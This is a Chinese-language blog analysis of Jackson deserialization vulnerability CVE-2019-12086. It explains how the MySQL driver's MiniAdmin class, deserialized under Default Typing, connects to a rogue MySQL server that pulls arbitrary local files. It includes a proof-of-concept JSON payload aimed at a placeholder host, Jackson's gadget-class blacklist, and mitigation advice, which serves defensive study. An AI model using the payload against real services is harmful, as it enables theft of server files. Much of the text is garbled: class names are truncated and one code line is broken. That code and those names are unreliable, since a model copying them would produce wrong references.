javajackson漏洞_分析Jackson的安全漏洞CVE-2019-12086 CVE-2019-12086 Description
A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of sql.cj.jdbc.admin.MiniAdmin validation.
使⽤了jackson-databind 2.x before 2.9.9的Java应⽤,如果ClassPath中有sql.cj.jdbc.admin.MiniAdmin(存在于MySQL的JDBC驱动中)这个类,那么Java应⽤所在的服务器上的⽂件,就可能被任意读取并传送到恶意的MySQL Server。具体原理下⾯分析。
Polymorphic Handling in JSON Serialization
public class Person {
public String name;
public int age;
public PhoneNumber phone;
}
abstract class PhoneNumber {
public int num;
}
public class InternationalNumber extends PhoneNumber {
public int areaCode;
}
public class DomesticNumber extends PhoneNumber {
}
⼀个序列化后的样例:
{
"name" : "Bob",
"age" : 28.
"phone" : {
"areaCode" : 555,
"num" : 1234567
}
}
序列化后类型消失,反序列化时因为PhoneNumber是抽象类,不知道该创建哪⼀个⼦类的对象。
Enable Polymorphic Handling in Jackson
Jackson解决序列化时不知道类型的问题,可以⽤Default Typing:
ObjectMapper om = new ObjectMapper();
Person p = new Person();
p.name = "Bob";
p.age = 28;
InternationalNumber phone = new InternationalNumber();
phone.areaCode = 555;
phone.num = 1234567;
cve漏洞库p.phone = phone;
System.out.println(om.writeValueAsString(p));
{
"name":"Bob",
"age":28,
"phone":["jackson.InternationalNumber",{"num":1234567,"areaCode":555}]
}
也有其它⽅法,不再赘述了,殊途同归,都是在JSON中增加数据类型信息,这样反序列化的时候Jackson就知道了该使⽤哪⼀个类来创建对象。
Security Issues with MySQL LOAD DATA LOCAL
MySQL⽀持使⽤LOAD DATA LOCAL INFILE这样的语法,将客户端本地的⽂件中的数据insert到MySQL的某张表中。挺好的功能,就是协议设计的有点怪,⼤概是这个样⼦的:
⽤户在客户端输⼊:load data local infile "/data.csv" into table test;
客户端=>服务端:我想把我本地的/data.csv⽂件插⼊到test表中;
服务端=>客户端:把你本地的/data.csv发给我;
客户端=>服务端:/data.csv⽂件的内容;
这个协议的问题是,客户端发送哪个⽂件的内容,取决于第3步,服务端要哪个⽂件,如果服务端是个恶意的MySQL,那么他可以读取客户端的任意⽂件,⽐如读取/etc/passwd:
⽤户在客户端输⼊:load data local infile "/data.csv" into table test;
客户端=>服务端:我想把我本地的/data.csv⽂件插⼊到test表中;
服务端=>客户端:把你本地的/etc/passwd发给我;
客户端=>服务端:/etc/passwd⽂件的内容;
⽽且,在⼤部分客户端(⽐如MySQL Connector/J )的实现⾥,第1、2步不是必须的,客户端发送任意查询给服务端,服务端都可以返回⽂件发送的请求。⽽⼤部分客户端在连接建⽴之后,都会有⼀些查询服务端配置之类的查询,所以使⽤这些客户端,只要创建了到恶意MySQL的连接,那么客户端所在服务器上的所有⽂件都可能泄露。
引⽤MySQL官⽅⽂档如下:
In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement.
Security Issues with MySQL Connector/J
MySQL的JDBC驱动有⼀个创建连接的配置项allowLoadLocalInfile,⽤来控制是否允许从本地读取⽂件,默认值是true,也就是允许。
不清楚具体从哪个版本开始,MySQL的JDBC驱动多了这么⼀个类sql.cj.jdbc.admin.MiniAdmin,可能没什么⼈⽤过,它有⼀个特点,就是在构造⽅法⾥会创建⼀个到指定url的JDBC连接。
public class MiniAdmin {
private JdbcConnection conn;
public MiniAdmin(String jdbcUrl) throws SQLException {
this(jdbcUrl, new Properties());
}
public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
< = (JdbcConnection) (new Driver().connect(jdbcUrl, props));
}
...
}
以上两个问题,就导致只要使⽤恶意MySQL的url作为参数创建⼀个sql.cj.jdbc.admin.MiniAdmin对象,就可以读取任意⽂件。CVE-2019-12086 POC
假设启动在ip:X.X.X.X上⾯,那么在客户端执⾏如下代码,执⾏代码所在的机器上的c:\windows\win.ini⽂件内容就会出现在mysql.log 中。
ObjectMapper om = new ObjectMapper();
String poc = "[\"sql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
Object obj = om.readValue(poc, Object.class);
端⼝号和⽂件号在Rogue-MySql-Server中写死了,可以打开任意修改,就是个python的脚本。
以上是POC,在实际的⽣产环境中,可以通过往⼀些接受JSON参数的接⼝发送恶意的JSON数据来达成攻击的⽬的。
MySQL Connector/J 的修复
MySQL Connector/J 8.0.15开始将allowLoadLocalInfile默认值设置为false。具体见这⾥
Jason的修复
从2.9.9版本开始,将sql.cj.jdbc.admin.MiniAdmin加⼊反序列化⿊名单:
static {
Set s = new HashSet();
// (and wrt [databind#1599])
s.add("llections.functors.InvokerTransformer");
s.add("llections.functors.InstantiateTransformer");
s.add("llections4.functors.InvokerTransformer");
s.add("llections4.functors.InstantiateTransformer");
s.add("vy.runtime.ConvertedClosure");
s.add("vy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("apache.xalan.ax.TemplatesImpl");
s.add("org.apache.ax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("wset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("i.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855] s.add("org.springframework.fig.PropertyPathFactoryBean");
// s.add("hange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("hange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
// [databind#1855]: more 3rd party
s.add("at.dbcp.dbcp2.BasicDataSource");
s.add("apache.bcel.internal.util.ClassLoader");
// [databind#1899]: more 3rd party
s.add("org.hibernate.jmx.StatisticsService");
s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
// [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
s.add("org.apache.ibatis.parsing.XPathParser");
// [databind#2052]: Jodd-db, with jndi/ldap lookup
s.add("tion.DataSourceConnectionProvider");
// [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
s.add("tor.OracleManagedConnectionFactory");
s.add("wset.OracleJDBCRowSet");
// [databind#2097]: some 3rd party, one JDK-bundled
s.add("EventData");
s.add("urrent.AsynchBeansWorkManagerExecutor");
s.add("com.sun.deploy.security.ruleset.DRSHelper");
s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
// [databind#2186]: yet more 3rd party gadgets
s.add("org.jboss.util.propertyeditor.DocumentEditor");
s.add("org.RegistryManagedRuntime");
s.add("org.JNDIManagedRuntime");
s.add("org.ansport.jms.JMSOutTransportInfo");
// [databind#2326] (2.9.9): one more 3rd party gadget
s.add("sql.cj.jdbc.admin.MiniAdmin");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}
What to do to Protect My System?
以下是Jackson作者的建议:
Try to keep up with updated versions of Jackson (jackson-databind): it should always be safe to upgrade to the latest patch version of given minor version (safest in the sense they should be no breaking changes to functionality)
If possible, AVOID enabling default typing (since it is usually class name based). It is better to be explicit about specifying where polymorphism is needed.
AVOID using java.lang.Object (or, java.util.Serializable) as the nominal type of polymorphic values, regardless of whether you use per-type, per-property, or Default Typing
If possible USE “type name” and NOT classname as type id: @JsonTypeInfo(use = Id.NAME) — this may require annotation of type name (see @JsonTypeName and @JsonSubTypes)
个⼈觉着最重要是第3点,避免使⽤Object对象作为Jackson反序列化的⽬标。
Reference
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论